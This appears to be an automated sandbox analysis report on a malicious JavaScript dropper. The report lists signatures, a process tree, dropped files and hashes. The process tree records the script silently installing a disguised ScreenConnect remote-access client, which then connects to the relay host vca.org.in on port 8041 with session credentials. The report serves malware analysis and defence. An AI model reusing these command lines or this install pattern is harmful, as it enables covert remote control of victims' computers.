Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/08/2026, 12:23

General

  • Target
    Docs-20260831122321686.js
  • Size 3.1MB
  • Sample260831-pkmexsak21
  • SHA256 63043368f9ca24abb94473dc8074fb4c7c97287b4b373cfe1b997b315df7e503
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 21 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260831122321686.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2768
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 788C588260138A7A47F16EA113F53ECE
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4268
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1D18.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240655781 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3680
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6C9B4BBAAE5646397920B90438E81AE1 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1588
  • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=vca.org.in&p=8041&s=2899163b-586c-4db4-b105-4772e74998fb&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm&t=&c=&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "1e0abbe5-5cc8-455f-a021-5ed03c88a2dc" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1752
    • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "8dd4ebb0-db49-4f7e-9f57-879ea9af5e77" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1556

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e581c7f.rbs

        • Path C:\Config.Msi\e581c7f.rbs
        • Size 212KB
        • SHA256 2cb7278aac8d056784eee21f8b55088a5f93c67717e950133ea79843dfef6444
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources
        • Size 39KB
        • SHA256 f9c327d646ab427270918b07fa11a1375fc4cd003b394e057548c098151c37e2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll
        • Size 153KB
        • SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll
        • Size 32KB
        • SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
        • Size 575KB
        • SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\app.config
        • Size 2KB
        • SHA256 6a7c0db056562992e5bcad65224cffed4d39a5fcfa50d5b514c72eb7d01f0a34
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\ProgramData\ScreenConnect Client (a883241204db1a2c)\user.config
        • Size 543B
        • SHA256 c25c9ede38391594fabe899cfb498daa6094d1aa8a0fa081654506d45dcb9fe3
        • MD5 SHA1 SHA512 TLSH

        ScreemConnect.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi
        • Size 2.3MB
        • SHA256 bea2c9efb7c96f4cedba2b3bd7cf8ee4dec389a7639d55a6b6b2b5ee0e1dace7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1D18.tmp

        • Path C:\Windows\Installer\MSI1D18.tmp
        • Size 357KB
        • SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI1D18.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI1D18.tmp-\ScreenConnect.Core.dll
        • Size 447KB
        • SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI1D18.tmp-\ScreenConnect.InstallerActions.dll
        • Size 18KB
        • SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI2008.tmp

        • Path C:\Windows\Installer\MSI2008.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1752-101-0x000000001B370000-0x000000001B52A000-memory.dmp

        memory/1752-99-0x00000000021D0000-0x00000000021FC000-memory.dmp

        memory/1752-98-0x00000000001C0000-0x0000000000254000-memory.dmp

        memory/1752-103-0x00000000021A0000-0x00000000021AE000-memory.dmp

        memory/1752-102-0x000000001C770000-0x000000001C8F6000-memory.dmp

        memory/1752-100-0x000000001B130000-0x000000001B1A6000-memory.dmp

        memory/2560-73-0x0000000001680000-0x000000000168E000-memory.dmp

        memory/2560-79-0x0000000003DA0000-0x0000000003DCC000-memory.dmp

        memory/2560-86-0x0000000004090000-0x000000000424A000-memory.dmp

        memory/2560-87-0x0000000004250000-0x00000000043D6000-memory.dmp

        memory/2560-92-0x0000000004790000-0x0000000004824000-memory.dmp

        memory/2560-93-0x0000000004730000-0x0000000004780000-memory.dmp

        memory/3680-26-0x00000000029E0000-0x0000000002A56000-memory.dmp

        memory/3680-22-0x0000000002950000-0x000000000295A000-memory.dmp

        memory/3680-18-0x0000000002900000-0x000000000292E000-memory.dmp